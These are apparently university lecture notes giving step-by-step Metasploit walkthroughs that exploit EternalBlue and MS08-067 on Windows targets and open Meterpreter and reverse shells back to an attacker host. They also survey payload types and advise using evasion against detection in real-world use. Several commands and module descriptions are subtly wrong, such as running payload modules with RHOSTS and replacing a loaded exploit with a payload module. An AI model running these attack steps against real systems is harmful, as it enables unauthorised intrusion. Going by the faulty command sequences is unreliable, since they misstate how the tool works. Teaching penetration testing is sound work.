Dr. Ritika Ladha

Lecture 10: Cyber Security

- Loading and using exploit
- Types of payloads
- Loading and using payloads

Here's a step-by-step example of how to load and use an exploit module in Metasploit. This example demonstrates exploiting a vulnerability in a Windows system using the EternalBlue exploit, a well-known vulnerability in SMBv1.

Example: Using the EternalBlue Exploit

1. Start Metasploit Console

Open a terminal and start the Metasploit console by typing:

```bash

msfconsole

```

2. Search for the Exploit

Once in the Metasploit console, you can search for the EternalBlue exploit module. Use the `search` command to find it:

```bash

search ms17_010

```

This command searches for modules related to the `ms17_010` vulnerability. You should see results including the EternalBlue exploit, usually named `exploit/windows/smb/ms17_010_eternalblue`.

3. Select the Exploit Module

Load the EternalBlue exploit module with the `use` command:

```bash

use exploit/windows/smb/ms17_010_eternalblue

```

4. View and Set Required Options

Check the options required for the exploit using:

```bash

show options

```

You will see a list of required and optional parameters. Commonly required parameters include `RHOSTS` (the target IP address) and `PAYLOAD` (the type of payload to use).

Set the target IP address (replace `<target_ip>` with the actual IP address of the target system):

```bash
set RHOSTS <target_ip>
```

Set the payload. For this example, we'll use a Meterpreter reverse TCP payload:

```bash
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

Configure the payload options, specifically `LHOST` (your local IP address where you want to receive the reverse shell) and `LPORT` (the port to listen on):

```bash
set LHOST <your_ip>
set LPORT 4444
```

5. Verify Settings

To ensure all settings are correctly configured, use:

```bash
show options
```

Review the output to make sure all necessary options are set correctly.

6. Run the Exploit

Launch the exploit using the `exploit` command:

```bash
exploit
```

Metasploit will attempt to exploit the vulnerability. If successful, you'll see a Meterpreter session opened.

7. Interact with the Meterpreter Session

Once the exploit is successful, Metasploit will provide a session ID. To interact with the Meterpreter session, use:

```bash
sessions
```

This command lists active sessions. Then, interact with the session by typing:

```bash
sessions -i <session_id>
```

Replace `<session_id>` with the ID of the Meterpreter session.

Additional Tips

- Network Considerations: Ensure your network allows traffic on the specified `LPORT` and that the target is reachable.

- Permissions: Run Metasploit with appropriate privileges if needed, especially for creating and managing network connections.

- Security: Only use Metasploit on systems for which you have explicit permission. Unauthorized access is illegal and unethical.

This example demonstrates a typical workflow for using Metasploit exploits. The exact details may vary depending on the exploit and payload used, but the general process remains the same.

NetBios Exploit using Metasploit

The NetBIOS protocol can be exploited in several ways, depending on the vulnerability present. One common NetBIOS-related exploit involves exploiting a vulnerability in the NetBIOS service itself or the underlying systems that use NetBIOS. For this example, we'll use the Metasploit Framework to exploit a known vulnerability in the NetBIOS service.

Let’s walk through an example using the `netbios/nbname` scanner module to find vulnerable systems and then demonstrate how to use an exploit module for a related vulnerability.

Example: Exploiting a NetBIOS Vulnerability

1. Start Metasploit Console

Open a terminal and start the Metasploit console:

```bash
msfconsole
```

2. Search for NetBIOS Exploit Modules

Search for NetBIOS-related modules using the `search` command. For example:

```bash
search netbios
```

This command will list various NetBIOS-related modules, including exploits and scanners.

3. Use a NetBIOS Scanner

Let's use a NetBIOS scanner to identify vulnerable systems. For instance, the `auxiliary/scanner/netbios/nbname` module scans for NetBIOS names on a network. Load the module with:

```bash
use auxiliary/scanner/netbios/nbname
```

4. Set Scanner Options

Configure the options for the NetBIOS scanner. Set the `RHOSTS` option to the IP range or specific IP addresses of the target systems:

```bash
set RHOSTS <target_ip_range_or_ip>
```

Optionally, you can set `THREADS` to control the number of concurrent threads for the scan:

```bash
set THREADS 10
```

5. Run the Scanner

Execute the scanner to identify systems with NetBIOS names:

```bash
run
```

The scanner will output a list of systems and their NetBIOS names. Review the results to identify targets.

6. Use a NetBIOS Exploit Module

Based on the results, you might find systems with a vulnerable configuration. Suppose we have identified a system that might be vulnerable to a known NetBIOS exploit. For demonstration purposes, let's use the **`exploit/windows/smb/ms08_067_netapi`** exploit, which targets a vulnerability in the NetAPI (Network API) service used by NetBIOS.

Load the exploit module with:

```bash
use exploit/windows/smb/ms08_067_netapi
```

7. Set Exploit Options

Configure the necessary options for the exploit. First, check the options:

```bash
show options
```

Set the `RHOSTS` to the IP address of the vulnerable target:

```bash
set RHOSTS <target_ip>
```

Set the `PAYLOAD` (e.g., `windows/meterpreter/reverse_tcp`):

```bash
set PAYLOAD windows/meterpreter/reverse_tcp
```

Configure the payload options:

```bash
set LHOST <your_ip>
set LPORT 4444
```

8. Verify Settings

Double-check the configuration to ensure everything is set correctly:

```bash
show options
```

9. Run the Exploit

Launch the exploit with:

```bash
exploit
```

If the exploit is successful, you will gain access to the target system and see a Meterpreter session opened.

10. Interact with the Meterpreter Session

To interact with the Meterpreter session:

```bash
sessions
```

This lists active sessions. Then, interact with the session:

```bash
sessions -i <session_id>
```

Replace `<session_id>` with the ID of the Meterpreter session.

Additional Notes

- Target Systems: Ensure you have permission to test and exploit systems.

- Network Configuration: Verify network settings to ensure connectivity between your Metasploit instance and the target.

- Security: Use exploits responsibly and ethically to avoid legal and security issues.

This example demonstrates a typical workflow for exploiting a vulnerability related to NetBIOS using Metasploit. Adjust the steps according to the specific vulnerability and target environment.

Dr. Ritika Ladha

Type of Payloads in Metasploit

In Metasploit, payloads are a crucial component of the exploitation process. They define the actions that will be taken on the target system once an exploit is successful. Payloads are categorized into several types based on their functionality and behavior. Here's a detailed overview of the different types of payloads in Metasploit:

1. Singles

Purpose:

- Single Payloads are self-contained and perform a single action or execute a single command. They do not require any additional components or follow-up steps.

Characteristics:

- Execute a specific command or action.

- Usually have a smaller footprint compared to other types of payloads.

Examples:

- `windows/single/exec`: Executes a single command on the target system.

- `linux/x86/shell_bind_tcp`: Binds a TCP shell to a port and waits for a connection.

Usage:

```bash
use payload/windows/single/exec
set CMD "cmd.exe /c whoami"
set RHOSTS <target_ip>
exploit
```

2. Stagers

Purpose:

- Stagers are small, lightweight payloads designed to establish a connection between the attacker and the target. They set up the environment for a larger payload, known as a stage, to be delivered and executed.

Characteristics:

- Establish a network connection.

- Download and execute a larger payload (stage).

Examples:

- `windows/meterpreter/reverse_tcp`: Sets up a reverse TCP connection and waits for the attacker to connect.

- `linux/x86/shell/reverse_tcp`: Creates a reverse TCP shell.

Usage:

```bash

use payload/windows/meterpreter/reverse_tcp

set LHOST <attacker_ip>

set LPORT 4444

set RHOSTS <target_ip>

exploit

```

3. Stages

Purpose:

- Stages are larger payloads that perform the actual work once the stager has set up the connection. They are delivered after the stager establishes a connection with the target.

Characteristics:

- Require a stager to be used effectively.

- Execute the main payload functionality, such as creating a persistent backdoor or gathering information.

Examples:

- `meterpreter/bind_tcp`: A Meterpreter payload that binds a TCP server to a port and waits for a connection.

- `windows/x64/meterpreter/reverse_https`: Provides a Meterpreter shell with HTTPS encryption.

Usage:

- Typically, stages are not used directly but through a stager. The stager will download and execute the stage.

4. Meterpreter

Purpose:

- Meterpreter is an advanced, interactive payload that provides a powerful command-and-control interface. It allows the attacker to perform a wide range of actions on the target system.

Characteristics:

- Dynamic: Can load additional features and modules on demand.

- Stealthy: Supports various evasion techniques to avoid detection.

- Interactive: Provides a command-line interface for interacting with the target system.

Examples:

- `windows/meterpreter/reverse_tcp`: A Meterpreter payload that establishes a reverse TCP connection.

- `linux/x86/meterpreter/reverse_tcp`: A Meterpreter payload for Linux systems.

Usage:

```bash
use payload/windows/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
set RHOSTS <target_ip>
exploit
```

Meterpreter Commands:

Once the Meterpreter session is opened, you can use commands like:

```bash
sysinfo
ps
shell
```

5. Reverse Shells

Purpose:

- Reverse Shells connect from the target system back to the attacker's system. They are used to provide command-line access to the target.

Characteristics:

- Connection Initiation: The target system initiates the connection back to the attacker.

- Network Evasion: Often used to bypass network security controls that may block incoming connections.

Examples:

- `windows/shell/reverse_tcp`: Provides a command-line shell that connects back to the attacker via TCP.

- `linux/x86/shell/reverse_tcp`: Provides a reverse shell for Linux systems.

Usage:

```bash
use payload/windows/shell/reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
set RHOSTS <target_ip>
exploit
```

6. Bind Shells

Purpose:

- Bind Shells create a listening service on the target system. The attacker connects to this service to gain control over the system.

Characteristics:

- Listening Service: The target system opens a port and listens for incoming connections from the attacker.

- Network Accessibility: Requires that the target system's firewall or security settings allow inbound connections to the bound port.

Examples:

- `windows/shell/bind_tcp`: Provides a command-line shell that listens for incoming TCP connections.

- `linux/x86/shell/bind_tcp`: Creates a listening shell on a specified port.

Usage:

```bash

use payload/windows/shell/bind_tcp

set LPORT 4444

set RHOSTS <target_ip>

exploit

```

7. Custom Payloads

Purpose:

- Custom Payloads are created to perform specific, unique actions tailored to particular needs or environments.

Characteristics:

- Tailored: Designed to meet specific requirements or bypass certain security mechanisms.

- Custom Development: Requires knowledge of programming and Metasploit's payload architecture.

Examples:

- Custom Meterpreter scripts or modified reverse shells to fit specific scenarios.

Usage:

- Creating custom payloads involves modifying existing ones or developing new payloads from scratch using Metasploit's development tools.

Understanding these types of payloads helps in selecting the most appropriate payload for a given exploit and target system. Each type serves a specific purpose, and choosing the right payload can significantly impact the success and stealth of an attack.

Loading and using Payload in Metasploit

Here's a step-by-step example of how to load and use a payload in Metasploit. This example demonstrates how to use a reverse shell payload to gain access to a target system. Specifically, we'll use a `windows/shell/reverse_tcp` payload.

Example: Using a Reverse Shell Payload

1. Start Metasploit Console

Open a terminal and start the Metasploit console:

```bash
msfconsole
```

2. Search for an Exploit

Before using a payload, you need an exploit that will deliver it to the target system. For this example, we'll assume you have an exploit ready. Let's use a simple example with a known vulnerability:

Search for an exploit related to the vulnerability you want to target:

```bash
search ms17_010
```

Select the exploit, such as `exploit/windows/smb/ms17_010_eternalblue`:

```bash
use exploit/windows/smb/ms17_010_eternalblue
```

3. Set Exploit Options

Configure the necessary options for the exploit. First, check the options required:

```bash
show options
```

Set the `RHOSTS` (target IP) and other required options:

```bash
set RHOSTS <target_ip>
```

4. Select and Configure the Payload

Choose a payload to be executed once the exploit is successful. In this example, we'll use a reverse shell payload:

List available payloads to find the desired one:

```bash
show payloads
```

Select the payload `windows/shell/reverse_tcp`:

```bash
use payload/windows/shell/reverse_tcp
```

Configure the payload options:

```bash
set LHOST <your_ip>  # Your IP address where you want to receive the reverse shell
set LPORT 4444       # Port on your machine to listen for the connection
```

Note: Replace `<your_ip>` with your actual IP address and `<target_ip>` with the target's IP address.

5. Verify Payload Settings

Double-check that all payload settings are correctly configured:

```bash
show options
```

Ensure that the `LHOST` and `LPORT` are set properly, and that there are no missing options.

6. Run the Exploit

With the exploit and payload configured, execute the exploit:

```bash
exploit
```

The Metasploit Framework will attempt to exploit the vulnerability and, if successful, will deliver the payload to the target system.

7. Interact with the Payload

Once the payload is successfully executed, you should see a connection from the target system. If you used `windows/shell/reverse_tcp`, you will get a command shell on the target system.

If you receive a connection, it will be displayed in the Metasploit console. For a reverse shell, you'll get a command prompt where you can execute commands on the target system.

Additional Tips

- Network Configuration: Ensure that your firewall and network settings allow traffic on the `LPORT` you configured.

- Permissions: Make sure you have permission to test and exploit the target system.

- Evasion Techniques: Consider using Metasploit's evasion techniques to avoid detection, especially when deploying payloads in a real-world environment.

This example shows how to load and use a payload in Metasploit, combining it with an exploit to gain access to a target system.